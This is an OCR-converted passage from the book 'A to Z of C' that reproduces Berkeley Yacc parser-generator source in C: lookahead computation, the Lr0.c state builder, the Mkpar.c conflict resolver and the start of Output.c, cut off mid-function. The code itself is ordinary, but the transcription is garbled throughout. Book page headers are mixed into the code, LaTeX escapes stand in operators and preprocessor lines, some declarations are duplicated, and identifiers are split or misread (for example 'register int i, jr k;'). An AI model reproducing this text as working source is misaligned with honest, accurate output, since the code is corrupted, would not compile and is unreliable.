            sp = shift_table[stateno];
            if (sp)
            {
                k = sp->nshifts;
```

```
            for (j = 0; j < k; j++)
                {
                        symbol = accessing_symbol[sp->shift[j]];
                        if (ISVAR(symbol))
                        break;
                        SETBIT(rowp, symbol);
                }
            for (; j < k; j++)
            {
                symbol = accessing_symbol[sp->shift[j]];
                    if (nullable[symbol])
                    edge[nedges++] = map_goto(stateno, symbol);
                }
                    if (nedges)
                        {
                        reads[i] = rp = NEW2(nedges + 1, short);
                        for (j = 0; j < nedges; j++)
                        rp[j] = edge[j];
                    rp[nedges] = -1;
                        nedges = 0;
                }
            }
            rowp += tokensetsize;
        }
    SETBIT(F, 0);
    digraph(reads);
    for (i = 0; i < ngotos; i++)
        {
            if (reads[i])
            FREE(reads[i]);
        }
    FREE(reads);
    FREE(edge);
}
build_relations()
{
    register int i;
    register int j;
```


## 414 A to $Z$ of C

```
register int k;
register short *rulep;
register short *rp;
register shifts *sp;
register int length;
register int nedges;
register int done;
register int statel;
register int stateno;
register int symbol1;
register int symbol2;
register short *shortp;
register short *edge;
register short *states;
register short **new_includes;
includes = NEW2(ngotos, short *);
edge = NEW2(ngotos + 1, short);
states = NEW2(maxrhs + 1, short);
for (i = 0; i < ngotos; i++)
    {
        nedges = 0;
        state1 = from_state[i];
        symbol1 = accessing_symbol[to_state[i]];
        for (rulep = derives[symbol1]; *rulep >= 0; rulep++)
        {
            length = 1;
            states[0] = state1;
            stateno = state1;
            for (rp = ritem + rrhs[*rulep]; *rp >= 0; rp++)
                {
                    symbol2 = *rp;
                    sp = shift_table[stateno];
                    k = sp->nshifts;
                for (j = 0; j < k; j++)
                {
                    stateno = sp->shift[j];
                    if (accessing_symbol[stateno] == symbol2) break;
                }
                states[length++] = stateno;
                }
            add_lookback_edge(stateno, *rulep, i);
```

```
            length--;
            done = 0;
            while (!done)
                {
                        done = 1;
                        rp--;
                        if (ISVAR(*rp))
                            {
                                stateno = states[--length];
                edge[nedges++] = map_goto(stateno, *rp);
                if (nullable[*rp] && length > 0) done = 0;
                        }
                }
            }
            if (nedges)
            {
                includes[i] = shortp = NEW2(nedges + 1, short);
                    for (j = 0; j < nedges; j++)
                shortp[j] = edge[j];
                    shortp[nedges] = -1;
            }
        }
    new_includes = transpose(includes, ngotos);
    for (i = 0; i < ngotos; i++)
        if (includes[i])
            FREE(includes[i]);
    FREE(includes);
    includes = new_includes;
    FREE (edge);
    FREE(states);
}
add_lookback_edge(stateno, ruleno, gotono)
int stateno, ruleno, gotono;
{
    register int i, k;
    register int found;
    register shorts *sp;
    i = lookaheads[stateno];
    k = lookaheads[stateno + 1];
```


## 416 A to $Z$ of C

```
    found = 0;
    while (!found && i < k)
    {
        if (LAruleno[i] == ruleno)
            found = 1;
        else
            ++i;
}
assert(found);
    sp = NEW(shorts);
    sp->next = lookback[i];
    sp->value = gotono;
    lookback[i] = sp;
}
short **
transpose(R, n)
short **R;
int n;
{
    register short **new_R;
    register short **temp_R;
    register short *nedges;
    register short *sp;
    register int i;
    register int k;
    nedges = NEW2(n, short);
    for (i = 0; i < n; i++)
        {
            sp = R[i];
            if (sp)
            {
                while (*sp >= 0)
                nedges[*sp++]++;
            }
        }
    new_R = NEW2(n, short *);
    temp_R = NEW2(n, short *);
    for (i = 0; i < n; i++)
        {
            k = nedges[i];
            if (k > 0)
            {
```

```
                    sp = NEW2(k + 1, short);
                new_R[i] = sp;
                temp_R[i] = sp;
                sp[k] = -1;
            }
        }
    FREE(nedges);
    for (i = 0; i < n; i++)
        {
            sp = R[i];
            if (sp)
            {
                while (*sp >= 0)
                    *temp_R[*sp++]++ = i;
            }
        }
    FREE (temp_R);
    return (new_R);
}
compute_FOLLOWS()
{
    digraph(includes);
}
compute_lookaheads()
{
    register int i, n;
    register unsigned *fp1, *fp2, *fp3;
    register shorts *sp, *next;
    register unsigned *rowp;
    rowp = LA;
    n = lookaheads[nstates];
    for (i = 0; i < n; i++)
        {
            fp3 = rowp + tokensetsize;
            for (sp = lookback[i]; sp; sp = sp->next)
            {
                fp1 = rowp;
                    fp2 = F + tokensetsize * sp->value;
                    while (fp1 < fp3)
                        *fp1++ |= *fp2++;
            }
```


## 418 A to $Z$ of C

```
            rowp = fp3;
        }
    for (i = 0; i < n; i++)
        for (sp = lookback[i]; sp; sp = next)
            {
            next = sp->next;
            FREE(sp);
        }
    FREE(lookback);
    FREE(F);
}
digraph(relation)
short **relation;
{
    register int i;
    infinity = ngotos + 2;
    INDEX = NEW2 (ngotos + 1, short);
    VERTICES = NEW2(ngotos + 1, short);
    top = 0;
    R = relation;
    for (i = 0; i < ngotos; i++)
        INDEX[i] = 0;
    for (i = 0; i < ngotos; i++)
        {
            if (INDEX[i] == 0 && R[i])
            traverse(i);
        }
    FREE (INDEX);
    FREE(VERTICES);
}
traverse(i)
register int i;
{
    register unsigned *fp1;
    register unsigned *fp2;
    register unsigned *fp3;
    register int j;
    register short *rp;
```

```
    int height;
    unsigned *base;
    VERTICES[++top] = i;
    INDEX[i] = height = top;
    base = F + i * tokensetsize;
    fp3 = base + tokensetsize;
    rp = R[i];
    if (rp)
        {
            while ((j = *rp++) >= 0)
            {
            if (INDEX[j] == 0)
                traverse(j);
            if (INDEX[i] > INDEX[j])
                INDEX[i] = INDEX[j];
            fp1 = base;
            fp2 = F + j * tokensetsize;
            while (fp1 < fp3)
                *fp1++ |= *fp2++;
            }
    }
    if (INDEX[i] == height)
    {
        for (;;)
        {
            j = VERTICES[top--];
            INDEX[j] = infinity;
            if (i == j)
                break;
            fp1 = base;
            fp2 = F + j * tokensetsize;
            while (fp1 < fp3)
                *fp2++ = *fp1++;
        }
    }
}
49.2.2.5 Lr0.c
#include "defs.h"
```


## 420 A to $Z$ of $C$

```
extern short *itemset;
extern short *itemsetend;
extern unsigned *ruleset;
int nstates;
core *first_state;
shifts *first_shift;
reductions *first_reduction;
int get_state();
core *new_state();
static core **state_set;
static core *this_state;
static core *last_state;
static shifts *last_shift;
static reductions *last_reduction;
static int nshifts;
static short *shift_symbol;
static short *redset;
static short *shiftset;
static short **kernel_base;
static short **kernel_end;
static short *kernel_items;
allocate_itemsets()
{
    register short *itemp;
    register short *item_end;
    register int symbol;
    register int i;
    register int count;
    register int max;
    register short *symbol_count;
    count = 0;
    symbol_count = NEW2(nsyms, short);
    item_end = ritem + nitems;
    for (itemp = ritem; itemp < item_end; itemp++)
        {
            symbol = *itemp;
            if (symbol >= 0)
            {
                count++;
```

```
                symbol_count[symbol]++;
            }
        }
    kernel_base = NEW2(nsyms, short *);
    kernel_items = NEW2(count, short);
    count = 0;
    max = 0;
    for (i = 0; i < nsyms; i++)
        {
            kernel_base[i] = kernel_items + count;
            count += symbol_count[i];
            if (max < symbol_count[i])
            max = symbol_count[i];
        }
    shift_symbol = symbol_count;
    kernel_end = NEW2 (nsyms, short *);
}
allocate_storage()
{
    allocate_itemsets();
    shiftset = NEW2(nsyms, short);
    redset = NEW2(nrules + 1, short);
    state_set = NEW2(nitems, core *);
}
append_states()
{
    register int i;
    register int j;
    register int symbol;
#ifdef TRACE
    fprintf(stderr, "Entering append_states\n");
#endif
for (i = 1; i < nshifts; i++)
    {
        symbol = shift_symbol[i];
        j = i;
        while (j > 0 && shift_symbol[j - 1] > symbol)
        {
            shift_symbol[j] = shift_symbol[j - 1];
```


## 422 A to Z of C

```
        j--;
            }
            shift_symbol[j] = symbol;
        }
    for (i = 0; i < nshifts; i++)
    {
        symbol = shift_symbol[i];
        shiftset[i] = get_state(symbol);
    }
}
free_storage()
{
    FREE(shift_symbol);
    FREE (redset);
    FREE(shiftset);
    FREE (kernel_base);
    FREE (kernel_end);
    FREE (kernel_items);
    FREE (state_set);
}
generate_states()
{
    allocate_storage();
    itemset = NEW2(nitems, short);
    ruleset = NEW2(WORDSIZE(nrules), unsigned);
    set_first_derives();
    initialize_states();
    while (this_state)
        {
            closure(this_state->items, this_state->nitems);
            save_reductions();
            new_itemsets();
            append_states();
            if (nshifts > 0)
                save_shifts();
            this_state = this_state->next;
        }
    finalize_closure();
    free_storage();
}
```

```
int
get_state(symbol)
int symbol;
{
    register int key;
    register short *isp1;
    register short *isp2;
    register short *iend;
    register core *sp;
    register int found;
    int n;
#ifdef TRACE
    fprintf(stderr, "Entering get_state, symbol = %d\n", symbol);
#endif
    isp1 = kernel_base[symbol];
    iend = kernel_end[symbol];
    n = iend - isp1;
    key = *isp1;
    assert(0 <= key && key < nitems);
    sp = state_set[key];
    if (sp)
        {
            found = 0;
            while (!found)
            {
                    if (sp->nitems == n)
                {
                    found = 1;
                    isp1 = kernel_base[symbol];
                    isp2 = sp->items;
                    while (found && isp1 < iend)
                    {
                if (*isp1++ != *isp2++)
                        found = 0;
                    }
                }
                if (!found)
                {
                    if (sp->link)
                    {
                                sp = sp->link;
                    }
```


## 424 A to Z of C

```
                    else
                {
                        sp = sp->link = new_state(symbol);
                        found = 1;
                        }
                }
                }
        }
    else
        {
            state_set[key] = sp = new_state(symbol);
        }
    return (sp->number);
}
initialize_states()
{
    register int i;
    register short *start_derives;
    register core *p;
    start_derives = derives[start_symbol];
    for (i = 0; start_derives[i] >= 0; ++i)
            continue;
        p = (core *) MALLOC(sizeof(core) + i*sizeof(short));
        if (p == 0) no_space();
        p->next = 0;
        p->link = 0;
        p->number = 0;
        p->accessing_symbol = 0;
        p->nitems = i;
        for (i = 0; start_derives[i] >= 0; ++i)
            p->items[i] = rrhs[start_derives[i]];
        first_state = last_state = this_state = p;
        nstates = 1;
}
new_itemsets()
{
    register int i;
    register int shiftcount;
    register short *isp;
    register short *ksp;
    register int symbol;
```

```
    for (i = 0; i < nsyms; i++)
        kernel_end[i] = 0;
    shiftcount = 0;
    isp = itemset;
    while (isp < itemsetend)
        {
            i = *isp++;
            symbol = ritem[i];
            if (symbol > 0)
            {
                        ksp = kernel_end[symbol];
                    if (!ksp)
            {
                        shift_symbol[shiftcount++] = symbol;
                        ksp = kernel_base[symbol];
                    }
                    *ksp++ = i + 1;
                    kernel_end[symbol] = ksp;
            }
        }
    nshifts = shiftcount;
}
core *
new_state(symbol)
int symbol;
{
    register int n;
    register core *p;
    register short *isp1;
    register short *isp2;
    register short *iend;
#ifdef TRACE
    fprintf(stderr, "Entering new_state, symbol = %d\n", symbol);
#endif
    if (nstates >= MAXSHORT)
        fatal("too many states");
    isp1 = kernel_base[symbol];
    iend = kernel_end[symbol];
    n = iend - isp1;
```


## 426 A to Z of C

```
    p = (core *) allocate((unsigned) (sizeof(core) + (n - 1) *
sizeof(short)));
    p->accessing_symbol = symbol;
    p->number = nstates;
    p->nitems = n;
    isp2 = p->items;
    while (isp1 < iend)
        *isp2++ = *isp1++;
    last_state->next = p;
    last_state = p;
    nstates++;
    return (p);
}
/* show_cores is used for debugging */
show
    _cores()
{
    core *p;
    int i, j, k, n;
    int itemno;
    k = 0;
    for (p = first_state; p; ++k, p = p->next)
    {
        if (k) printf("\n");
        printf("state %d, number = %d, accessing symbol = %s\n",
            k, p->number, symbol_name[p->accessing_symbol]);
        n = p->nitems;
        for (i = 0; i < n; ++i)
        {
            itemno = p->items[i];
            printf("%4d ", itemno);
            j = itemno;
            while (ritem[j] >= 0) ++j;
            printf("%s :", symbol_name[rlhs[-ritem[j]]]);
            j = rrhs[-ritem[j]];
            while (j < itemno)
                    printf(" %s", symbol_name[ritem[j++]]);
            printf(" .");
            while (ritem[j] >= 0)
                printf(" %s", symbol_name[ritem[j++]]);
            printf("\n");
```

```
                fflush(stdout);
        }
    }
}
/* show_ritems is used for debugging */
show_ritems()
{
    int i;
    for (i = 0; i < nitems; ++i)
        printf("ritem[%d] = %d\n", i, ritem[i]);
}
/* show_rrhs is used for debugging */
show_rrhs()
{
    int i;
    for (i = 0; i < nrules; ++i)
        printf("rrhs[%d] = %d\n", i, rrhs[i]);
}
/* show_shifts is used for debugging */
show_shifts()
{
    shifts *p;
    int i, j, k;
    k = 0;
    for (p = first_shift; p; ++k, p = p->next)
    {
        if (k) printf("\n");
        printf("shift %d, number = %d, nshifts = %d\n", k, p->number,
                    p->nshifts);
        j = p->nshifts;
        for (i = 0; i < j; ++i)
            printf("\t%d\n", p->shift[i]);
        }
}
save_shifts()
{
    register shifts *p;
    register short *sp1;
    register short *sp2;
    register short *send;
```


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```
    p = (shifts *) allocate((unsigned) (sizeof(shifts) +
                        (nshifts - 1) * sizeof(short)));
    p->number = this_state->number;
    p->nshifts = nshifts;
    sp1 = shiftset;
    sp2 = p->shift;
    send = shiftset + nshifts;
    while (sp1 < send)
        *sp2++ = *sp1++;
    if (last_shift)
        {
            last_shift->next = p;
            last_shift = p;
        }
    else
        {
            first_shift = p;
            last_shift = p;
    }
}
save_reductions()
{
    register short *isp;
    register short *rp1;
    register short *rp2;
    register int item;
    register int count;
    register reductions *p;
    short *rend;
    count = 0;
    for (isp = itemset; isp < itemsetend; isp++)
        {
            item = ritem[*isp];
            if (item < 0)
            {
                redset[count++] = -item;
            }
        }
```

```
if (count)
        {
            p = (reductions *) allocate((unsigned) (sizeof(reductions) +
                                    (count - 1) * sizeof(short)));
        p->number = this_state->number;
        p->nreds = count;
        rp1 = redset;
        rp2 = p->rules;
        rend = rp1 + count;
        while (rp1 < rend)
        *rp2++ = *rp1++;
        if (last_reduction)
        {
            last_reduction->next = p;
            last_reduction = p;
        }
        else
        {
            first_reduction = p;
            last_reduction = p;
        }
        }
}
set_derives()
{
    register int i, k;
    register int lhs;
    register short *rules;
    derives = NEW2(nsyms, short *);
    rules = NEW2(nvars + nrules, short);
    k = 0;
    for (lhs = start_symbol; lhs < nsyms; lhs++)
        {
            derives[lhs] = rules + k;
            for (i = 0; i < nrules; i++)
            {
                if (rlhs[i] == lhs)
                    {
                        rules[k] = i;
```


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```
                k++;
            }
    }
    rules[k] = -1;
    k++;
}
```

```
#ifdef DEBUG
```

\#ifdef DEBUG
print_derives();
\#endif
}
free_derives()
{
FREE(derives[start_symbol]);
FREE(derives);
}
\#ifdef DEBUG
print_derives()
{
register int i;
register short *sp;
printf("\nDERIVES\n\n");
for (i = start_symbol; i < nsyms; i++)
{
printf("%s derives ", symbol_name[i]);
for (sp = derives[i]; *sp >= 0; sp++)
{
printf(" %d", *sp);
}
putchar('\n');
}
putchar('\n');
}
\#endif
set_nullable()
{
register int i, j;
register int empty;
int done;
nullable = MALLOC(nsyms);

```
```

    if (nullable == 0) no_space();
    for (i = 0; i < nsyms; ++i)
        nullable[i] = 0;
    done = 0;
    while (!done)
    {
        done = 1;
        for (i = 1; i < nitems; i++)
        {
            empty = 1;
            while ((j = ritem[i]) >= 0)
            {
                if (!nullable[j])
                empty = 0;
            ++i;
            }
            if (empty)
            {
                j = rlhs[-j];
                if (!nullable[j])
                {
                        nullable[j] = 1;
                        done = 0;
                        }
            }
        }
    }
    \#ifdef DEBUG
for (i = 0; i < nsyms; i++)
{
if (nullable[i])
printf("%s is nullable\n", symbol_name[i]);
else
printf("%s is not nullable\n", symbol_name[i]);
}
\#endif
}
free_nullable()
{
FREE(nullable);
}
lr0()
{
set_derives();

```

\section*{432 A to Z of C}
```

    set_nullable();
    generate_states();
    }

```

\subsection*{49.2.2.6 Mkpar.c}
```

\#include "defs.h"

```
action **parser;
int SRtotal;
int RRtotal;
short *SRconflicts;
short *RRconflicts;
short *defred;
short *rules_used;
short nunused;
short final_state;
static int SRcount;
static int RRcount;
extern action *parse_actions();
extern action *get_shifts();
extern action *add_reductions();
extern action *add_reduce();
make_parser()
\{
    register int i;
    parser \(=\) NEW2 (nstates, action *);
    for (i \(=0 ; i<n s t a t e s ; ~ i++)\)
        parser[i] = parse_actions(i);
    find_final_state();
    remove_conflicts();
    unused_rules();
    if (SRtotal + RRtotal > 0) total_conflicts();
    defreds();
\}
action
parse_actions (stateno)
register int stateno;
\{
    register action *actions;
    actions = get_shifts(stateno);
    actions = add_reductions(stateno, actions);
```

    return (actions);
    }

```
```

action *
get_shifts(stateno)
int stateno;
{
register action *actions, *temp;
register shifts *sp;
register short *to_state;
register int i, k;
register int symbol;
actions = 0;
sp = shift_table[stateno];
if (sp)
{
to_state = sp->shift;
for (i = sp->nshifts - 1; i >= 0; i--)
{
k = to_state[i];
symbol = accessing_symbol[k];
if (ISTOKEN(symbol))
{
temp = NEW(action);
temp->next = actions;
temp->symbol = symbol;
temp->number = k;
temp->prec = symbol_prec[symbol];
temp->action_code = SHIFT;
temp->assoc = symbol_assoc[symbol];
actions = temp;
}
}
}
return (actions);
}
action
add_reductions(stateno, actions)
int stateno;
register action *actions;
{
register int i, j, m, n;
register int ruleno, tokensetsize;
register unsigned *rowp;
tokensetsize = WORDSIZE(ntokens);
m = lookaheads[stateno];

```

\section*{434 A to Z of C}
```

    n = lookaheads[stateno + 1];
    for (i = m; i < n; i++)
    {
        ruleno = LAruleno[i];
        rowp = LA + i * tokensetsize;
        for (j = ntokens - 1; j >= 0; j--)
        {
            if (BIT(rowp, j))
                actions = add_reduce(actions, ruleno, j);
    }
    }
return (actions);
}
action *
add_reduce(actions, ruleno, symbol)
register action *actions;
register int ruleno, symbol;
{
register action *temp, *prev, *next;
prev = 0;
for (next = actions; next \&\& next->symbol < symbol; next = next-
>next)
prev = next;
while (next \&\& next->symbol == symbol \&\& next->action_code == SHIFT)
{
prev = next;
next = next->next;
}
while (next \&\& next->symbol == symbol \&\&
next->action_code == REDUCE \&\& next->number < ruleno)
{
prev = next;
next = next->next;
}
temp = NEW(action);
temp->next = next;
temp->symbol = symbol;
temp->number = ruleno;
temp->prec = rprec[ruleno];
temp->action_code = REDUCE;
temp->assoc = rassoc[ruleno];
if (prev)
prev->next = temp;

```
```

    else
    actions = temp;
    return (actions);
    }
find_final_state()
{
register int goal, i;
register short *to_state;
register shifts *p;
p = shift_table[0];
to_state = p->shift;
goal = ritem[1];
for (i = p->nshifts - 1; i >= 0; --i)
{
final_state = to_state[i];
if (accessing_symbol[final_state] == goal) break;
}
}
unused_rules()
{
register int i;
register action *p;
rules_used = (short *) MALLOC(nrules*sizeof(short));
if (rules_used == 0) no_space();
for (i = 0; i < nrules; ++i)
rules_used[i] = 0;
for (i = 0; i < nstates; ++i)
{
for (p = parser[i]; p; p = p->next)
{
if (p->action_code == REDUCE \&\& p->suppressed == 0)
rules_used[p->number] = 1;
}
}
nunused = 0;
for (i = 3; i < nrules; ++i)
if (!rules_used[i]) ++nunused;
if (nunused)

```

\section*{436 A to Z of C}
```

    if (nunused == 1)
        fprintf(stderr, "%s: 1 rule never reduced\n", myname);
    else
        fprintf(stderr, "%s: %d rules never reduced\n", myname,
    nunused);
}
remove_conflicts()
{
register int i;
register int symbol;
register action *p, *q;
SRtotal = 0;
RRtotal = 0;
SRconflicts = NEW2(nstates, short);
RRconflicts = NEW2(nstates, short);
for (i = 0; i < nstates; i++)
{
SRcount = 0;
RRcount = 0;
for (p = parser[i]; p; p = q->next)
{
symbol = p->symbol;
q = p;
while (q->next \&\& q->next->symbol == symbol)
q = q->next;
if (i == final_state \&\& symbol == 0)
end_conflicts(p, q);
else if (p != q)
resolve_conflicts(p, q);
}
SRtotal += SRcount;
RRtotal += RRcount;
SRconflicts[i] = SRcount;
RRconflicts[i] = RRcount;
}
}
end_conflicts(p, q)
register action *p, *q;
{
for (;;)
{
SRcount++;
p->suppressed = 1;
if (p == q) break;

```
```

    p = p->next;
    }
    }
resolve_conflicts(first, last)
register action *first, *last;
{
register action *p;
register int count;
count = 1;
for (p = first; p != last; p = p->next)
++count;
assert(count > 1);
if (first->action_code == SHIFT \&\& count == 2 \&\&
first->prec > 0 \&\& last->prec > 0)
{
if (first->prec == last->prec)
{
if (first->assoc == LEFT)
first->suppressed = 2;
else if (first->assoc == RIGHT)
last->suppressed = 2;
else
{
first->suppressed = 2;
last->suppressed = 2;
first->action_code = ERROR;
last->action_code = ERROR;
}
}
else if (first->prec < last->prec)
first->suppressed = 2;
else
last->suppressed = 2;
}
else
{
if (first->action_code == SHIFT)
SRcount += (count - 1);
else
RRcount += (count - 1);
for (p = first; p != last; p = p->next, p->suppressed = 1)
continue;
}
}

```

\section*{438 A to \(Z\) of \(C\)}
```

total_conflicts()
{
fprintf(stderr, "%s: ", myname);
if (SRtotal == 1)
fprintf(stderr, "1 shift/reduce conflict");
else if (SRtotal > 1)
fprintf(stderr, "%d shift/reduce conflicts", SRtotal);
if (SRtotal \&\& RRtotal)
fprintf(stderr, ", ");
if (RRtotal == 1)
fprintf(stderr, "1 reduce/reduce conflict");
else if (RRtotal > 1)
fprintf(stderr, "%d reduce/reduce conflicts", RRtotal);
fprintf(stderr, ".\n");
}
int
sole_reduction(stateno)
int stateno;
{
register int count, ruleno;
register action *p;
count = 0;
ruleno = 0;
for (p = parser[stateno]; p; p = p->next)
{
if (p->action_code == SHIFT \&\& p->suppressed == 0)
return (0);
else if (p->action_code == REDUCE \&\& p->suppressed == 0)
{
if (ruleno > 0 \&\& p->number != ruleno)
return (0);
if (p->symbol != 1)
++count;
ruleno = p->number;
}
}
if (count == 0)
return (0);
return (ruleno);
}

```
```

defreds()
{
register int i;
defred = NEW2(nstates, short);
for (i = 0; i < nstates; i++)
defred[i] = sole_reduction(i);
}
free_action_row(p)
register action *p;
{
register action *q;
while (p)
{
q = p->next;
FREE (p);
p = q;
}
}
free_parser()
{
register int i;
for (i = 0; i < nstates; i++)
free_action_row(parser[i]);
FREE(parser);
}

```

\subsection*{49.2.2.7 Output.c}
```

\#include "defs.h"

```
#include "defs.h"
static int nvectors;
static int nentries;
static short **froms;
static short **tos;
static short *tally;
static short *width;
static short *state_count;
static short *order;
static short *base;
static short *pos;
static int maxtable;
```


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```
static short *table;
static short *check;
static int lowzero;
static int high;
output()
{
    free_itemsets();
    free_shifts();
    free_reductions();
    output_stored_text();
    output_defines();
    output_rule_data();
    output_yydefred();
    output_actions();
    free_parser();
    output_debug();
    output_stype();
    if (rflag) write_section(tables);
    write_section(header);
    output_trailing_text();
    write_section(body);
    output_semantic_actions();
    write_section(trailer);
}
output_rule_data()
{
    register int i;
    register int j;
fprintf(output_file, "short yylhs[] = {%42d,",
        symbol_value[start_symbol]);
j = 10;
for (i = 3; i < nrules; i++)
    {
    if (j >= 10)
    {
            if (!rflag) ++outline;
            putc('\n', output_file);
            j = 1;
    }
        else
            ++j;
```

```
        fprintf(output_file, "%5d,", symbol_value[rlhs[i]]);
    }
if (!rflag) outline += 2;
fprintf(output_file, "\n};\n");
fprintf(output_file, "short yylen[] = {%42d,", 2);
j = 10;
for (i = 3; i < nrules; i++)
{
        if (j >= 10)
        {
            if (!rflag) ++outline;
            putc('\n', output_file);
            j = 1;
        }
        else
        j++;
        fprintf(output_file, "%5d,", rrhs[i + 1] - rrhs[i] - 1);
}
if (!rflag) outline += 2;
fprintf(output_file, "\n};\n");
}
output_yydefred()
{
register int i, j;
fprintf(output_file, "short yydefred[] = {%39d,",
            (defred[0] ? defred[0] - 2 : 0));
j = 10;
for (i = 1; i < nstates; i++)
{
    if (j < 10)
            ++j;
    else
    {
            if (!rflag) ++outline;
            putc('\n', output_file);
            j = 1;
    }
    fprintf(output_file, "%5d,", (defred[i] ? defred[i] - 2 : 0));
}
```


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```
    if (!rflag) outline += 2;
    fprintf(output_file, "\n};\n");
}
output_actions()
{
    nvectors = 2*nstates + nvars;
    froms = NEW2(nvectors, short *);
    tos = NEW2(nvectors, short *);
    tally = NEW2(nvectors, short);
    width = NEW2(nvectors, short);
    token_actions();
    FREE(lookaheads);
    FREE (LA);
    FREE(LAruleno);
    FREE(accessing_symbol);
    goto_actions();
    FREE(goto_map + ntokens);
    FREE(from_state);
    FREE(to_state);
    sort_actions();
    pack_table();
    output_base();
    output_table();
    output_check();
}
token_actions()
{
    register int i, j;
    register int shiftcount, reducecount;
    register int max, min;
    register short *actionrow, *r, *s;
    register action *p;
    actionrow = NEW2(2*ntokens, short);
    for (i = 0; i < nstates; ++i)
    {
        if (parser[i])
        {
            for (j = 0; j < 2*ntokens; ++j)
            actionrow[j] = 0;
```

```
shiftcount = 0;
reducecount = 0;
for (p = parser[i]; p; p = p->next)
{
    if (p->suppressed == 0)
    {
        if (p->action_code == SHIFT)
        {
            ++shiftcount;
            actionrow[p->symbol] = p->number;
            }
                else if (p->action_code == REDUCE && p->number !=
defred[i])
                                {
                        ++reducecount;
                            actionrow[p->symbol + ntokens] = p->number;
            }
    }
}
tally[i] = shiftcount;
tally[nstates+i] = reducecount;
width[i] = 0;
width[nstates+i] = 0;
if (shiftcount > 0)
{
    froms[i] = r = NEW2(shiftcount, short);
    tos[i] = s = NEW2(shiftcount, short);
    min = MAXSHORT;
    max = 0;
    for (j = 0; j < ntokens; ++j)
    {
        if (actionrow[j])
        {
            if (min > symbol_value[j])
                min = symbol_value[j];
            if (max < symbol_value[j])
                    max = symbol_value[j];
            *r++ = symbol_value[j];
            *s++ = actionrow[j];
            }
    }
    width[i] = max - min + 1;
}
if (reducecount > 0)
{
    froms[nstates+i] = r = NEW2(reducecount, short);

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```

                        tos[nstates+i] = s = NEW2(reducecount, short);
                min = MAXSHORT;
                max = 0;
                for (j = 0; j < ntokens; ++j)
                {
            if (actionrow[ntokens+j])
            {
                    if (min > symbol_value[j])
                    min = symbol_value[j];
                    if (max < symbol_value[j])
                                max = symbol_value[j];
                            *r++ = symbol_value[j];
                            *s++ = actionrow[ntokens+j] - 2;
                }
                }
                    width[nstates+i] = max - min + 1;
                }
    }
    }
    FREE(actionrow);
}
goto_actions()
{
register int i, jr k;
state_count = NEW2(nstates, short);
k = default_goto(start_symbol + 1);
fprintf(output_file, "short yydgoto[] = {%40d,", k);
save_column(start_symbol + 1, k);
j = 10;
for (i = start_symbol + 2; i < nsyms; i++)
{
if (j >= 10)
{
if (!rflag) ++outline;
putc('\n', output_file);
j = 1;
}
else
++j;
k = default_goto(i);
fprintf(output_file, "%5d,", k);

```
```

        save_column(i, k);
    }
    if (!rflag) outline += 2;
    fprintf(output_file, "\n};\n");
    FREE(state_count);
    }
int
default_goto(symbol)
int symbol;
{
register int i;
register int m;
register int n;
register int default_state;
register int max;
m = goto_map[symbol];
n = goto_map[symbol + 1];
if (m == n) return (0);
for (i = 0; i < nstates; i++)
state_count[i] = 0;
for (i = m; i < n; i++)
state_count[to_state[i]]++;
max = 0;
default_state = 0;
for (i = 0; i < nstates; i++)
{
if (state_count[i] > max)
{
max = state_count[i];
default_state = i;
}
}
return (default_state);
}
save_column(symbol, default_state)
int symbol;
int default_state;
{
register int i;

```

\section*{446 A to \(Z\) of \(C\)}
```

    register int m;
    register int n;
    register short *sp;
    register short *sp1;
    register short *sp2;
    register int count;
    register int symno;
    m = goto_map[symbol];
    n = goto_map[symbol + 1];
    count = 0;
    for (i = m; i < n; i++)
    {
        if (to_state[i] != default_state)
        ++count;
    }
if (count == 0) return;
symno = symbol_value[symbol] + 2*nstates;
froms[symno] = sp1 = sp = NEW2(count, short);
tos[symno] = sp2 = NEW2(count, short);
for (i = m; i < n; i++)
{
if (to_state[i] != default_state)
{
*sp1++ = from_state[i];
*sp2++ = to_state[i];
}
}
tally[symno] = count;
width[symno] = sp1[-1] - sp[0] + 1;
}
sort_actions()
{
register int i;
register int j;
register int k;
register int t;
register int w;
order = NEW2(nvectors, short);
nentries = 0;

```
```

    for (i = 0; i < nvectors; i++)
    {
            if (tally[i] > 0)
        {
            t = tally[i];
            w = width[i];
            j = nentries - 1;
            while (j >= 0 && (width[order[j]] < w))
                j--;
            while (j >= 0 && (width[order[j]] == w) && (tally[order[j]] <
    t))
j--;
for (k = nentries - 1; k > j; k--)
order[k + 1] = order[k];
order[j + 1] = i;
nentries++;
}
}
}
pack_table()
{
register int i;
register int place;
register int state;
base = NEW2(nvectors, short);
pos = NEW2(nentries, short);
maxtable = 1000;
table = NEW2 (maxtable, short);
check = NEW2 (maxtable, short);
lowzero = 0;
high = 0;
for (i = 0; i < maxtable; i++)
check[i] = -1;
for (i = 0; i < nentries; i++)
{
state = matching_vector(i);

```

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```

    if (state < 0)
        place = pack_vector(i);
    else
        place = base[state];
    pos[i] = place;
    base[order[i]] = place;
    }
for (i = 0; i < nvectors; i++)
{
if (froms[i])
FREE(froms[i]);
if (tos[i])
FREE(tos[i]);
}
FREE(froms);
FREE(tos);
FREE (pos);
}
/* The function matching_vector determines if the vector specified */
/* by the input parameter matches a previously considered vector. The */
/* test at the start of the function checks if the vector represents */
/* a row of shifts over terminal symbols or a row of reductions, or a */
/* column of shifts over a nonterminal symbol. Berkeley Yacc does not */
/* check if a column of shifts over a nonterminal symbols matches a */
/* previously considered vector. Because of the nature of LR parsing */
/* tables, no two columns can match. Therefore, the only possible */
/* match would be between a row and a column. Such matches are */
/* unlikely. Therefore, to save time, no attempt is made to see if a */
/* column matches a previously considered vector. */
/* Matching_vector is poorly designed. The test could easily be made */
/* faster. Also, it depends on the vectors being in a specific */

```
```

/* order.

```
/* order.
* /
```

* /

```
```

int

```
int
matching_vector(vector)
matching_vector(vector)
int vector;
int vector;
{
{
    register int i;
    register int i;
    register int j;
    register int j;
    register int k;
    register int k;
    register int t;
    register int t;
    register int w;
```

    register int w;
    ```
```

    register int match;
    register int prev;
    i = order[vector];
    if (i >= 2*nstates)
        return (-1);
    t = tally[i];
    w = width[i];
    for (prev = vector - 1; prev >= 0; prev--)
    {
        j = order[prev];
        if (width[j] != w || tally[j] != t)
                return (-1);
        match = 1;
        for (k = 0; match && k < t; k++)
        {
            if (tos[j][k] != tos[i][k] || froms[j][k] != froms[i][k])
                match = 0;
        }
        if (match)
            return (j);
    }
    return (-1);
    }
int
pack_vector(vector)
int vector;
{
register int i, jr k, l;
register int t;
register int loc;
register int ok;
register short *from;
register short *to;
int newmax;
i = order[vector];
t = tally[i];
assert(t);
from = froms[i];
to = tos[i];

```

\section*{450 A to \(Z\) of \(C\)}
```

